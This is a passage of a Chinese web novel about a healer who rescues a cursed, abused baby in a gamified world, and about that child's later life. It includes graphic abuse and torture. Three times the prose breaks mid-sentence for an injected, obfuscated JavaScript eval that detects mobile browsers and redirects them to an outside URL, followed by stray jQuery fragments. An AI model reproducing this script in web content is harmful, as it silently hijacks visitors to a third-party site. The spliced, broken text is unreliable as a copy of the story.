《拯救我的英雄》
1. 序章
序章
全球游戏化第十年。
平安生跟着小队走出副本,所有人身上都带着深深的疲倦。对比一无所获,他们更担心这次失败会影响到各自的晋级成功率。
“我的等级掉到29了。”
“正常情况,晋级任务触发后,等级都会被压制。”队长作为魔枪手,打开自己的装备栏,清点剩余弹药设备。法师握着一瓶药水,犹豫再三,又收回去。几个近战职业查看武器的损耗率,商议是否要去打材料换一个更好的。
平安生作为队伍里唯一的治疗职业,走在中间。
他脖颈处的擦伤早已结痂,不小心被围巾勾得撕开一小片,疼得平安生呲牙咧嘴,给自己来一个“初级疗愈术”。
当初就是因为怕疼,平安生才选择治疗类职业。
他的恐惧在其他同伴眼中显得微不足道。他们嘲笑平安生不像个男人,有些过于畏惧鲜血。平安生也适当露出一种嘻嘻哈哈的表情,任由他们嘲弄,不经意间给他们胸口来几拳。
“安生。你又在浪费魔力。”
“给我自己用,怎么算浪费。”平安生振振有词,“再说,我从没让你们在战斗中受伤。余下的给我自己,怎么了?”
“这点小伤过两天就好了。”
“管得真宽。难怪找不到女朋友。”
“你。”说话的战士生气起来,声音也大起来。第一字才冒出来就被队长打断,“好了。离开副本,安生想怎么用就怎么用。”
他意有所指,“能力都是我们自己的。”
作为第一代游戏化的年轻人,时代浪潮将他们送上人类武力巅峰。往日只能出现在小说中的“系统降临”“神灵召唤”“超能力崛起”,在这个时代成为现实。
一块出现所有人面前的“游戏面板”成为通向超现实的道路。所有人都能看到自己最基础的【力量】【速度】【智慧】,他们可以通过学习、锻炼提高等级,在10级时通过“游戏面板”感应最适合自己的职业,彻底走上职业玩家的道路。
和市面上的游戏稍微有些差别。
现在的人类们并不清楚职业的顶端是什么,也不清楚世界上到底有多少职业,职业又有多少分类,每个职业又有多少技能。他们摸着石头过河,能窥到最厉害的存在便是“神”。
最强的职业,通常与“神”有关。
被智慧之神眷顾的智者,睁开眼便能洞悉一切怪物与副本机制;受锻造之神青睐的学徒,操控火焰轻轻一吹便是价值万金的装备;光明与仁爱之神的祝福则让他的信徒在阳光下得到防御力100+的持续增幅。
当然,神不全是有益的。
掌握瘟疫与疾病的神弹指间让城市寂静;痛苦之神与疗愈之神交换权柄,无数伤者因剧痛选择自杀;堕落之神站在最后,愉悦目睹这一切,引诱无数人前往深渊成为自己的养料。
只是,这些神灵与过去有名有姓的神不一样。
他们以权柄作为自己神名,权柄与权柄之间组合、交叠、拆分是极为常见的事情。
权柄与他们而言,等同于人类世界的货币。
选择、交换、销毁,自然也可以赠与给他人。
平安生的队友们便在讨论此事。
“听说有个学生得到了与神相关的特殊职业。”
“真的假的?”
“不知道。这几天黑市上消息特别多,唉。我怎么就没有得到特殊职业呢?”
“那有这么容易啊。”队长嘲笑道:“要满足很多不为人知的条件……光弄明白那些条件就个大门槛。我们这种普通人根本没机会知道。”
平安生已经治好自己脖子上的伤口。
离开副本,回归真实世界后,他步行的速度越来越慢,逐渐从队伍的中层落到最后,直至停下来。
初春,地上的雪还没有完全化干净,左右均被踩成泥泞的脏水。街口往里,依稀可以看到垃圾桶的边缘,几户人家丢出的厨余垃圾东倒西歪撒开,地上黄的褐的红的,什么颜色都有。
一阵猫叫正从里面传出。
小队成员们也停下来,“安生?”
“怎么不走了。”刚刚还和平安生吵架的队员上前,“说你两句还真气上了?”
“赖不着生你的气。”平安生噤声片刻,询问道:“你们听到了吗?好像是小孩在哭。”
队长道:“猫发春也这么叫。安生,走吧。马上到商会了,我们抓紧把材料补充一下。”
平安生重新走入队伍。
就在此时,他再次听到那猫一样可怜的虚弱的哭声。
“不像猫。”平安生补充道:“这么冷的天,猫也受不了。”
“平日没见你喜欢猫。打算养着玩?”
平安生摇摇头,他养活自己就不错了,还养猫?他不过想看看那声音到底是什么,然后送去救助站——至于猫或其他小动物能否活下来,都不是他一个穷光蛋能左右的。
他与同伴们招呼一声,走向狭窄的小巷,很快找到声音的来源:就在垃圾桶与墙壁的夹角处,塑料袋兜着什么发臭发酸的东西。平安生用法杖轻轻剥开最上层,发觉那深褐色东西是一件手织红毛衣。
不过红毛衣的前胸后背及两条手臂处都有明显的破裂,大量红黑色的血块与杂乱线头纠缠在一起。
跟过来的队友惊呼道:“好丑!”
红毛衣的可怕情境与它包裹住的东西比起来,完全不值一提。平安生花费五分钟,才敢判断怀里是一个活生生的孩子。他用手覆盖在孩子脸上,初级疗愈术的光芒缓慢照耀小巷,随着孩子脸上那层僵死褪去,所有人又忍不住后退一步。
他们中稍心狠的完全能想象出这个孩子被遗弃前所遭遇的一切:施虐者先用类似美工刀的刀具,一刀一刀划破他的脸,再用一些细长的棍状物(可能是铅笔)戳进这个孩子的伤口,不断撕裂、扩张。各中混杂一些烟头的烫伤、剪刀戳出的洞、绳索捆绑的痕迹等等。
自平安生抱起他后,这孩子也意识到什么,竭力发出更多声音,身躯在红毛衣中蠕动,塑料袋系啦系啦地响动起来——就像一直巨大的蠕虫,散发出屎尿臭味——平安生的队友快要吐出来了,他们尖叫道:“天啊天啊。我的天啊,安生。”
平安生根本不敢停下施术的动作。
他抱着孩子坐在充斥脏污的地上,麻烦同伴们报警。
队长:“安生,现在不是我们小时候。警察管不了这种事情。”
平安生道:“救护车呢?”
队长摇摇头。
他们的钱还要砸在副本攻略中,不能为一个捡来的婴儿花出去。平安生也做不出绑架整个团队的事情。
“我们可以先叫车再付钱吗?我自己出。”
队长:“安生,你付不起。”
平安生有些难过。如果世界没有游戏化,警察和医生这两种职业会继续存在,更多服务公共社会的职业也会延续下来。而他自己也应该早早从护士学校毕业,成为一名专业男护士。
全球游戏化后,都变了。
平安生那会就是一个普通学生,好说话,性格温和,他没有忽然崛起,也没有忽然堕落,他也没遇到什么奇遇,更没有什么“成为小说主角”的苗头。
他就是一个因怕疼选择治疗类职业的普通人。
一个在游戏化时代努力活下去的普通人。
“这孩子,看上去才几个月大。”平安生下定某种决心,自言自语道:“天气这么冷,被丢到这种地方,他却努力活下来了……他明明想要活下来。”
原本凝聚在他掌心的光芒骤然覆盖整个手臂。孩子脸上纵横的伤疤快速愈合,平安生的魔力条急速燃烧。
队长:“安生。不要自我感动。”
平安生没有继续说话,他抱着孩子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223153|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身体微微颤动。见底的魔力条似乎在和某种不存在的事物抗争,下一秒,属于平安生的游戏页面弹出,他的经验条开始燃烧,等级迅速从28级掉落到27级。
“安生!”队长抓住平安生的手,“可以了。”
他们是攻略副本的队友,绝不会让平安生继续掉落等级。
平安生停下动作。
到这一步,他怀中的孩子依稀能看出五官,身上的伤口与溃烂好了大半。部分地区还能存在刀痕,但已不如最开始那么严重。红毛衣里呼吸与啜泣的声音似乎都比最开始大一些了。
其他队友到这一刻才缓慢反应过来。
“平安生,你有病啊。”队员咆哮着指责平安生,“你犯什么圣母心。这个孩子和你有关系吗?”
平安生沉默不语。
怀里的孩子似乎被外面的指责吓到,有些恐惧地瑟缩起来。平安生看着他那怯缩的手,心生不忍,用手臂环住孩子的头部。
队友依旧在指责,“我都不知道说你什么好了。平时免费给别人治疗就算了,你现在牺牲自己的等级做什么?我们现在可是在攻略副本喂。”
他们实在太吵了。
平安生火气也上来了。他护着孩子,咆哮道:“我什么时候脱了团队的后腿?这点经验,我自己会解决的。”
“够了。”队长粗暴打断双方。他冷脸看向平安生,询问道:“安生。你现在怎么办?你要养这个孩子吗?”
人一旦有了投入,就不甘心放手。
平安生确实从最开始的“送救助站”变为“自己养”。他紧紧抱住这个孩子,一个字都没说,手上顿感黏腻濡湿。
孩子睁大双眼,任由鲜血流淌进瞳仁中,没有再发出一句啼哭。似乎这才是他生活的常态。鲜红的血液在他的眼眶里汇聚成饱满的水珠,沿着瘦瘪的两颊溢出来,吃到深深的新长出的伤疤里。
重新撕裂开的伤口,随着孩子的呼吸,富有生命地开合着。
队长丢出鉴定术,肯定道:“是诅咒。”
可惜他的鉴定术有限,等级也不够高,无法查看更详细的资料,转而劝说平安生,“把孩子送去孤儿院。你带着,容易惹上他的仇家。”
平安生抱紧怀里的孩子。
“这个诅咒至少有50级。”队长道:“安生,这不是我们能接触的事情,把他丢掉。”
平安生:“他还那么小。”
“丢掉他。”队长命令道:“我们能给他做的事情是找个好的孤儿院。”
平安生还想再挣扎一下。
他的游戏面板忽得弹出,在他的眼瞳中照应出一个小而诡谲的方块。队长看不清平安生的游戏面板里有什么新消息。他只记得自己队伍里最善良的治疗系,忽然什么也没说,低低地看着怀里的孩子。
像是看一个怪物,又像看着一个尚未打开的宝箱。
“好吧。”平安生道:“但要选一个好的地方。”
第二天。
仁爱院迎来一群新的捐赠者。
他们帮仁爱院修缮屋顶,铺好水管,替换老化电线,打扫神像,换上新家电。
他们给仁爱院捐助大米、蔬菜、水果、奶粉、尿不湿、卫生巾,还给仁爱院正在读书的孩子们缴纳了下一年的学费与学杂费。
作为交换,他们要仁爱院收下一个孩子。
“这是一个很麻烦的孩子。据我所知,你们仁爱院可以消除来者痕迹。”队长道:“请消除我们来过的痕迹。如果您方便,还请消除这个孩子在这个城市的痕迹,不要让人找到他,更不要找到我们。”
童尼姑欣然答应。
临走前,她询问孩子的名字。
“他的肩膀上有刻字。”平安生道:“我不知道那是不是他的名字。”
童尼姑打开襁褓,已熟睡的孩子肩膀上用刀歪歪扭扭刻着三个字:
乌修平。
2. 第一章
第一章
二十二年后。
仁爱院。
沈曙雀抱着一箱零部件回来时,乌修平正在洗手。
陶瓷洗漱盆上残留不少淡粉红色的血迹。
沈曙雀放下零配件,“不是给富二代当保镖吗?怎么回事。”
乌修平抬手,将陶瓷洗漱盆上的颜色擦去。他抬头,看到生锈镜面中两个残存的巴掌印,以及印记下属于自己的脸,一股恶心涌上心头,“没什么。”
沈曙雀手套都没换,跑来查看乌修平的状态,“他打你?还是让别人打你?这份工作也是那个老鼠推荐的吗?”
“真没事。”乌修平再次擦拭水珠,走到墙角蹲下。
他头顶是镶嵌在水泥里的褪色十字架。十年前乌修平还有机会抱着红颜料,小心翼翼给十字架上色,祈祷再来一个好心信徒给仁爱院捐款。十年后他完全没有这种幼稚想法,只想不要出现什么极端神灵教徒找事。
“阿雀,适合我的工作本来就少。”乌修平疲倦道:“你不要这么说穴鼠先生。他会不高兴的。”
沈曙雀头发都炸起来。她强硬掰起乌修平的脸,橡胶手套在伤口上狠狠一按。
乌修平毫无反应。
他从额角向下颚的两道贯穿伤再次沁出血丝,配合原本就有的各种伤痕,已看不出乌修平本来的五官与面貌——自仁爱院收养乌修平起,他就是这种样貌,不满周岁的小婴儿脸上、身上遍布伤痕,任何治疗术和卷轴都对此无效——哪怕成功疗愈,几个呼吸后,伤痕会从内部再生长出来,撕裂皮肤。
乌修平反而要承受双倍的疼痛。
“你要一直受那个家伙摆布吗?”沈曙雀大叫,“走。我给你包扎下。”
乌修平拒绝,“晚上还要去工作。包扎的话……雇主会不开心。”
他那怯懦的姿态看得沈曙雀火大。她气呼呼冲去屋里,叮叮当当又冲出来,将一管软膏丢在乌修平身上。
“平叔看到你这样子,一定很失望。”沈曙雀道:“他差点把你治好。你给我稍微在乎下自己。”
乌修平说不出话。
平叔。他念着这两个字,艰难从墙角爬起来,握着那份软膏迟迟没有动作,“当时,是你接受治疗就好了。”
“屁话真多。我能治好早治了。”沈曙雀拍拍手套,捡起纸箱,“我去工作了。你给我打起精神。”
现在是下午一点。
想起昨天荒诞行程,今天要再来一遍,乌修平头疼起来。他克制自己不去想三年前平叔的失踪,也不去假设平叔没有失踪,仁爱院会过上好日子。
幻想另外一种可能,不能让生活变好。
但在赶到工作地点前,乌修平还是忍不住想起三年前那场莽撞告白。
如果自己没有莽撞地向平叔告白,事情会不会不一样?
乌修平换上工作服,套上口罩。这次的雇主不喜欢看见他这张脸,又喜欢用他这张脸吓唬别人。乌修平上岗第一件事情就是遮好自己的脸,过去二十来年他也习惯如此。
没有人会喜欢这张脸。这一切太正常了。乌修平思绪飘忽,他想:平叔或许没有死在副本中,而是活得好好的。
他不愿意再来仁爱院……仅仅因为自己是个恶心的同性恋。
*
乌修平是个天生的同性恋。
他意识到自己的不正常,起源于初中一直霸凌他的男同学们。无数个夜晚,乌修平咬着牙幻想一拳打掉对方的牙,生吃掉对方的肉。第二天早上,乌修平又不得不在众多霸凌者的铁拳下,接受他们的羞辱和殴打,被取各种侮辱性的外号。
他们习惯使唤乌修平,手段和训狗如出一撤。
沈曙雀听说这件事情后,往书包里装石头,抡着和那些男孩们干架。
“再被我发现你们欺负他。”沈曙雀那天扯着袖子擦血,呸呸吐口水,“我把你们屎都打出来。”
那些男孩似乎被打怕了,第二天、第三天都没来找乌修平麻烦。乌修平一边哭一边牵着沈曙雀的手往仁爱院走,在路上遇到了来做义工的平安生。他给沈曙雀止血,教育乌修平下次要主动出击,别让女孩子冲在前头。
“曙雀,你别忘了身上的诅咒。”平安生不忘教育沈曙雀。他总这么振振有词,给他们两买了烤肠后,牵着两人慢慢往仁爱院走,“抓紧吃完。要别的孩子看到,叔叔的钱包就遭不住了。”
十三岁的乌修平用力嚼嚼,就着口水咽下去。
当天晚上,他梦到自己浑身赤条条,狠狠鞭打那些霸凌者。他将他们翻过来,掐住他们涕泪横流的脸,一股飞升的快感冲击少年人的意志——他醒过来,不敢开灯,抱着裤子蹲在水井边,搓了搓半天找不到晒的地方。
沈曙雀和乌修平睡在同一屋,半夜见到这一幕,肆意嘲笑:“你尿床了?”
“……”乌修平目光闪避。
仁爱院里没多少正儿八经的衣服,外穿的裤子也不讲究。乌修平本的裤子洗了,就不得不找沈曙雀凑一凑。在整个仁爱院里,除了他没有人敢找沈曙雀穿裤子。
偏偏沈曙雀要问个明白,“啊呜,你真尿床了。”
乌修平转身,“不借就算了。”
“怎么?你要找燕语姐借裙子穿?”沈曙雀嘲笑,“呀。你该不会梦遗了吧,梦遗是什么感觉——啊呜。啊呜。你给我看看你的脸。”
乌修平脸上全是伤疤,看不出脸红。他又实在恼羞,两个昨天才并肩作战的朋友你一拳我一拳打起来,最后沈曙雀更胜一筹。女孩笑嘻嘻要乌修平说出缘由,听着听着,笑容僵硬住了。
“你梦见和男人……那个?”
“嗯。”
“你别和我说,你想艹那些王八犊子。”沈曙雀连续骂了好几个脏字,“啊呜,做人要有点洁癖。”
乌修平将脑袋埋在臂膀中,“我又不能控制自己想什么。”
“我不管。你要和那些霸凌者好上。我打死你算了。”
如此。乌修平克制自己不去想艹那些霸凌者。十三岁的男孩不觉得这是爱,他想不明白那些男孩们有什么吸引自己的点。他尝试交仁爱院之外的朋友,可对方往往看到他的脸,面色大变,接着小心翼翼或强忍不适探寻伤疤原因。
乌修平知道。
他是平安生与搭档们从垃圾桶里捡来的孩子,年龄不详,生辰不详,使用技能也无法追溯身世
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223154|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脸上的伤疤修复后又撕裂。大人们揣测他的脸写满复杂的前尘往事,乌修平却觉得很无聊。
他没有和女孩谈成恋爱,也没有和男孩谈成恋爱,专心训练升级,立志未来加入平叔所在的副本小队。
十五岁,正是转职的好年龄。
乌修平努力练到10级,转职为刺客,升入高中。高中三年,他努力打怪升级,用尽一切力气,还是没能突破15级,无缘大学,也无缘平叔的副本小队。
“没关系。”时年三十四岁的平安生鼓励乌修平,“我们平平安安就好。”
他说话时,宽厚的手掌落在乌修平肩膀上。一股强烈的重力带着数年来温和的长者气质包裹住乌修平。他仰起头,首次仔细打量自己的恩人、长辈、叔叔、生命中唯一一位男性引导者的样貌:旧时代东亚混合一些中亚血统,面部平整,眉目浓烈,嘴唇丰厚,下颌点缀一颗小痣。
完蛋。
乌修平久久的盯着那颗小痣,彷如一把上膛的枪抵住脖颈,迫使他仰起头看着平叔的咽喉,吞咽口水。
完蛋。
“怎么了?”平安生停下脚步,一米九的大个子低下头询问,“只是一场考试……明天叔叔问问老朋友,应该有适合你的岗位。”他为消解乌修平的不安,喋喋不休说哪里哪里缺刺客职业,哪个哪个副本队又缺人。
乌修平只想进平叔所在的小队。
“叔。我可以去你们那打杂吗?”
“有点难。”平叔是队伍里的治疗师,他做不了这个主。第二天,他委婉告知乌修平,想要加入他所在的小队起码要达到40级。
“过段时间要去新副本开荒。”平安生道:“我也能理解队长卡等级。修平,不要灰心,15级其实能加入不少初级副本队了。我再帮你找找。”
乌修平觉得不用了。
他老老实实找了份送快递的工作,利用刺客的速度天赋干活。不过三周左右,他因容貌吓到一些客人,遭投诉丢了饭碗。后来又去下副本刷基础材料、进工厂、上工地、帮人倒卖资产……可惜每一项都没有做很久。
19岁的乌修平和19岁的沈曙雀都没有找到工作。
在他们19岁这一年,平安生决心参加45级新副本的开荒。他与他的伙伴们为这件事筹备三个月,终于启程。
启程前一天,乌修平下定决心。
他与沈曙雀去荒坡采了不要钱的野花,小心包扎成一束,送给平安生,“平叔,我喜欢你。”
“什么啊。忽然送这个还说着种话。”
“我。”乌修平直视着面前的长辈,用光19岁所有的勇气,“我喜欢平叔,是真的。是想要成为恋人的喜欢。”
他说完,用力闭上眼。
久久地,除了呼吸声,便是花放到地上的声音。
“乌修平。”
乌修平睁开眼,他看到阳光下,从小牵着自己手的宽厚的影子左右摇晃,一步两步退出自己的视野。
“你还小。”
“我成年了。平叔。”
“不。你还小。对。”平安生捂住嘴,一副快吐出来了的表情,“你还太小了。回去想想。不准说这种胡话。”
3. 第二章
第二章
平叔不喜欢他。
19岁的乌修平想不明白的事,21岁的乌修平想明白了。
他回忆起自己还小时,平叔看向自己的目光,那种属于长者对小辈的宽容,有着旧时代神父对羔羊的怜悯。他也始终记得,每次伤口加重,平叔打开手,盖住在自己的脸上,疗愈技能的光扫过肌肤,自己透过指缝窥看男人在眩晕中模糊而圣洁的脸。
酥酥麻麻。
虫蚁啃食过的细微痛觉变成一种难以言说的卑劣快感。
平叔不喜欢他。
这种“不喜欢”无关于他是谁,单纯在于他是个男人,是个与平叔生理特征一致的男人——当然这中间也包含着下位者对上位者的冒犯,就像儿子对父亲产生淫.乱不.伦的想法一般。
“你把平叔吓坏了。”沈曙雀道:“等他回来,和他说这是个玩笑。”
“这样行吗?”
沈曙雀思索起来,“你总得让平叔有个台阶下吧。”
乌修平想想也对,他开始反思如何道歉。在等待平叔回来的日子里,他去后厨洗盘子,边收拾泔水边思索如何训练口舌。一天24小时,他花费12小时去打工,这打工的12小时中又抽出6个小时,边苦边甜着。
“阿雀,你看看,我这样说行不行。”乌修平对沈曙雀诉苦。平安生走后的几个月,他们给工厂做小手工。两人蹲在院子里,绕绳,串珠,打结,装袋,封口。这种小手工一毛一个。他们从早上六点做到晚上十点,一个人大概能做400串,工厂回收后日收入40元。
沈曙雀清点数量,“说吧。我听着。”
乌修平正衣冠,咳嗽好几下,板起脸,“平叔我错了。”
“你语气应该更……”沈曙雀寻找词语,“应该更内疚更随意一点,不要搞得下一秒要上吊。”
“有点难。”
“滚一边去吧。”沈曙雀笑起来,“不死心的男同。”
不管怎么说,乌修平每天都在想怎么道歉。再后来,他在一个打印店帮工时,顺来大量打废掉的纸,在纸张的边边角角写满道歉的草稿。
他幻想有一天能对平叔说出这些话。
然而,平安生进入副本一年后,他的队友来到仁爱院告诉他们,平安生在副本里失踪了。
“可能是死了。”副本攻略队的队长告知他们,“我们也在找他。”
因为没找到尸体,所以只定性为失踪。
三年后的现在,乌修平再去查平安生的登记信息,上面的“失踪”正式更改为“死亡。”
他不相信这个事实。
可不相信又能怎么样呢?那是45级的副本,乌修平连进入副本都做不到。这三年中他努力锻炼,进各种低级副本打材料,攒钱购买高级一点的药水,试图突破15级。
一无所获。
乌修平还是15级的乌修平,他浑身的伤疤在日复一日的劳作中裂开,缓慢愈合,再次撕裂,尚未愈合时再次裂开。
没有平安生的疗愈,疼痛无时无刻包裹着乌修平。
他已学会平静生活,甚至将伤疤化为收入的一种来源。
*
现在。
穴鼠给乌修平介绍一份短期兼职。
保镖,日薪1000,一天做14-17个小时,轮班制度。
高工资背后是变态的富二代雇主。乌修平第一天到岗,富二代拽掉他的口罩,不由分说先扇两巴掌,再抓起他的头发,用匕首研究乌修平脸上的伤疤。他每询问一条伤疤的始末,匕首便挑开一条。
乌修平满嘴都是自己的鲜血。
“你自己也不知道怎么受伤?”富二代招呼人给乌修平来一个疗愈术。他欣赏乌修平身体重新愈合,又撕裂的过程,产生极大地好奇心,“果然和老鼠说得一样,长得特别吓人。”
乌修平不吱声。
“再给他治好。”富二代嘱咐旁边的治疗师。
乌修平的皮肤上传来一层温热,在治疗师的柔光下,鲜血停滞固化为血痂,变硬,轻飘飘地剥落——随后,熟悉的撕裂感从肌肉内层传来。乌修平看到一道寒光从自己鼻尖擦过,直直刮到自己的鬓角,左半边脸忽得往下掉了一层般,鲜血刷刷流淌到他的衣领中。
他自己毫无反应。
“咦?”富二代将刀掰正,刀锋对准乌修平的耳朵,跃跃欲试,“再给他治好。”
治疗师抬起手。
乌修平脸上的血液再次干涸,变成血痂脱落,脸上新划出的横条黏成一条粉色细线——随后,宛若复刻刚刚富二代那一刀,伤口连串崩开。富二代能够清楚看到伤口比自己先前造成得更深,除了乌修平习以为常的表情,一切都在变糟。
“还真有这种‘诅咒’啊。”富二代琢磨道,靠近乌修平,忽得扇了他两巴掌,“治。”
治疗师抬起手。
这一次,乌修平脸上的巴掌印完美清除,再也没有出现。富二代却像找到什么乐子一般,左右开弓扇了乌修平十来下,最后甩着手抱怨疼死了,下次要拿拍子打。
乌修平没有说话的必要性。
1000元足以买下他的一天。而挨打作为“工作内容”,似乎也对得起这份价格。
今天。
乌修平终于分配到一个人肉沙包之外的工作事项。富二代要他们去某个野外,从一辆车上取个“特殊道具”。取到道具后,他们直接连车开走前往预定好的某舞厅,直奔二楼专座。
除去乌修平,富二代保镖们平均有20级。其中的头领更是达到惊人的39级,乌修平分辨不出他是真的39级,还是在做晋级任务的40级。
“是我那个表姨夫送来的。”富二代对保镖头领埋怨道:“等会试试看效果。轻一点,笨手笨脚。”
保镖头领沉着脸色,看向其余保镖。
他道:“少爷。哪里有这么神奇的东西,要是真的有……”
“怕什么。表姨夫都会解决的。”富二代摆摆手,“真有他说得这么神奇。我肯定要送给表哥。表姨夫也忙着从我这里讨好小姨和表哥。”
乌修平小心翼翼同其他人搬着一个黑色箱子。
从外观看,箱子体积与32寸行李箱差不多,外壳方正。从落地的响声判断大概有60公斤。乌修平猜测里面是铠甲、刀剑之类的东西。他知道很多富二代家庭会在孩子没达到10级转职目标前给他们购置无等级限制铠甲防身。
当然,不排除是更好的东西。
舞厅里,所有椅子都向上摆放,地上残留淡淡的消毒水味道。真皮沙发才被擦过,茶几上还没有换鲜花,几个才切好的果盘直接搭在啤酒箱上——舞厅还没有到营业时间,员工打扫卫生后就离开,将整个空旷场地留给富二代及他们这些保镖——乌修平站起身,前方就是齐腰的栏杆,从二楼往下看正方便观赏一楼舞池的俊男美女们。
富二代指挥起来,“放那吧。你。对,最丑的那个过来。”
保镖们清理茶几上的杂物,把黑箱放在正中间。
乌修平上前,微微俯下身。这次他没有被雇主暴打,反而得到一句指令和一枚戒指:“去打开箱子。”
箱子没有缝隙,没有通俗概念的锁。
昏暗的舞厅内,乌修平绕着箱子走了一圈,笨拙寻找打开方式。就在这个时候,他发觉箱子是可以揉捏的,上手有种胶皮的质感,手掌覆盖上去能察觉到均匀的颤动,乌修平的手指甚至能碰到一些类似骨头的东西。
里面是什么?
他还要仔细想想,富二代已经等不及了,踹着乌修平的腿,大声嚷嚷,“蠢货,把戒指拿起来。”
“呼——呼——”
戒指的戒面触碰到那层胶皮,像撕开一道口子的丝袜,乌修平先是看到一个肤色圆柱体,还没等他意识到那是什么,脑袋被富二代狠狠抽到一边。
乌修平的耳朵嗡了很长的一声。他听不到富二代在骂自己,撑起身体刚要道歉,被其余保镖拽着肩膀推到富二代身边。富二代胡乱在箱子上压了压,他动作粗鲁,很快将胶皮压得凹陷下去。
“笨死了。还得我亲自来。”富二代终于找到目标。他将戒指贴在一处,随着戒指的能力,胶皮逐渐溶解,先露出一些凌乱成结的头发,随后是额头与眉毛——他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223155|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显然有一点中东血统,在此等惨状下还能看出浓眉大眼的本貌。
乌修平被保镖们狠狠拽着头,踢到地上,半跪着面对这张脸。
他看到了一颗小小的痣。
平叔。
乌修平爆发出恐惧而尖锐的鸣叫声,他这辈子都没有如此叫过。他的声音完全掩盖住另外一道更凄惨的哀嚎,那颗令少年神魂颠倒的痣仓皇地挪位着。
他们的惨叫声中是富二代的欢呼雀跃。
“涨了哈哈哈涨了。这样也能升级哈哈哈哈。”
乌修平咬不住自己的唇,只能感觉门牙快速的在唇瓣上颤动。一瞬间,他甚至希望平叔是真的死在副本里,而不是以这种姿态出现在自己面前。
【恭喜您令‘疗愈之匣’感到‘发自内心的痛苦’。您的经验增长100。】
【因特殊原因,增加经验失败。经验转化为自由点数。请及时调整点数。】
飘忽的提示音中,富二代快步走过来。他真的很喜欢揪住乌修平的头发或肩膀,在经验增加的提醒音下,他两颊肌肉夸张地团成一块,嘴角几乎扯到嘴角。“打他。打他!”
乌修平没有反应。富二代却抓起乌修平的手,狠狠扇在平安生的脸上。连续好几巴掌后,他发现自己的经验值没有显著提高,着急拔出自己身上一件无限制装备塞给乌修平,咆哮道:“弄他!”
乌修平摔坐在地上。
他看到自己的职业面板弹出,从100经验转化来的10个点疯狂闪烁。
“你聋了吗?”富二代摇晃着乌修平的肩膀恨铁不成钢道:“你以为我为什么雇你这种15级废物。给我下手!艹。不搞他,我把你一起削了。”
乌修平看着面前的装备。
20级匕首,没有职业限制,自带“疼痛”附魔。
先前就是这把装备在乌修平脸上划来划去。
如今,这把装备要在平安生身上划来划去。
“快点。”富二代左右摇晃乌修平的脑袋,好像那是什么玩具把手一样。他狠狠啐一口在乌修平发顶上,“真耽误事。”
乌修平呆愣在原地,富二代迫不及待将匕首塞到他手掌心。
“快点。”富二代催促着,上手贴着乌修平比划,“朝他脸上划,把他变得和你一样,懂不——”
乌修平握紧匕首。
“嗯。”
他反手,切过富二代的咽喉。
和高水准保镖团不一样,面前这位富二代雇主十六岁,等级一直卡在9级。乌修平带着20级的附魔匕首,轻而易举打断他的话。
鲜血溅了半张脸。
“畜生!”保镖头目第一个反应过来,他周身属于39级的威压铺开。乌修平双腿发麻,手几乎握不住匕首。最后一点意志让他把10个自由点分给【速度】。
他冲向茶几,抱起那个32寸黑箱,翻过栏杆,滚着跳到下方,手脚并用爬入黑暗。
数道攻击砸在乌修平的背上。他感到自己的背从上下左右四个角度碎裂,鲜血流失令整个身体麻木。但乌修平还是竭力狂奔,几乎是无视体能和技能冷却时间,无限制用上一切能用上的东西。
刺客技能【潜行】,发动。
刺客技能【潜行】,发动。
刺客技能【潜行】,发动。
【潜行】【潜行】【潜行】【潜行】
发动。发动。发动。发动。发动。
背后的风狂啸着追上来,锋利的武器擦着乌修平的大腿肉而过,布料与肉块盘旋着飞出去。乌修平没有停下来,继续奔跑,他还能感受到疼痛,只是他对疼痛的忍耐力到达常人无法理解的地步。
他的诅咒,亦是他的天赋。
刺客技能【潜行】,再次发动。乌修平放弃一切防御,将所有重心放在逃亡上,他钻入黑暗狭窄的巷道,穿梭于旧下水道与废弃防空洞中,身体贴着冰冷的墙壁,屏住呼吸,噤声听着四周,确定安全。
“平叔。”乌修平小声喊着,“平叔。平叔。”
平安生没有回答乌修平。
曾经有一米九高的男人死了般躺在乌修平怀里。
4. 第三章
第三章
仁爱院早年是公办孤儿院。
那时候还存在政府、法律、道德之类的东西,人们也有余力养活身体残缺的小孩。
但转职时代降临了。
政府、法律、道德土崩瓦解,暴力、金钱、等级成为这个时代的通行证。与可能到来的人类共同危机相比,弱者的悲剧不值一提。仁爱院逐步从公办孤儿院变成私人经营,房子越住越小,最终与废弃的旧时代神像们蜗居在一个三层小楼中。
童尼姑与明修女是仁爱院现存的主事人。更久之前还有一位珍妮道姑。三个人共同扶持仁爱院到现在,养育了近百位孩子。
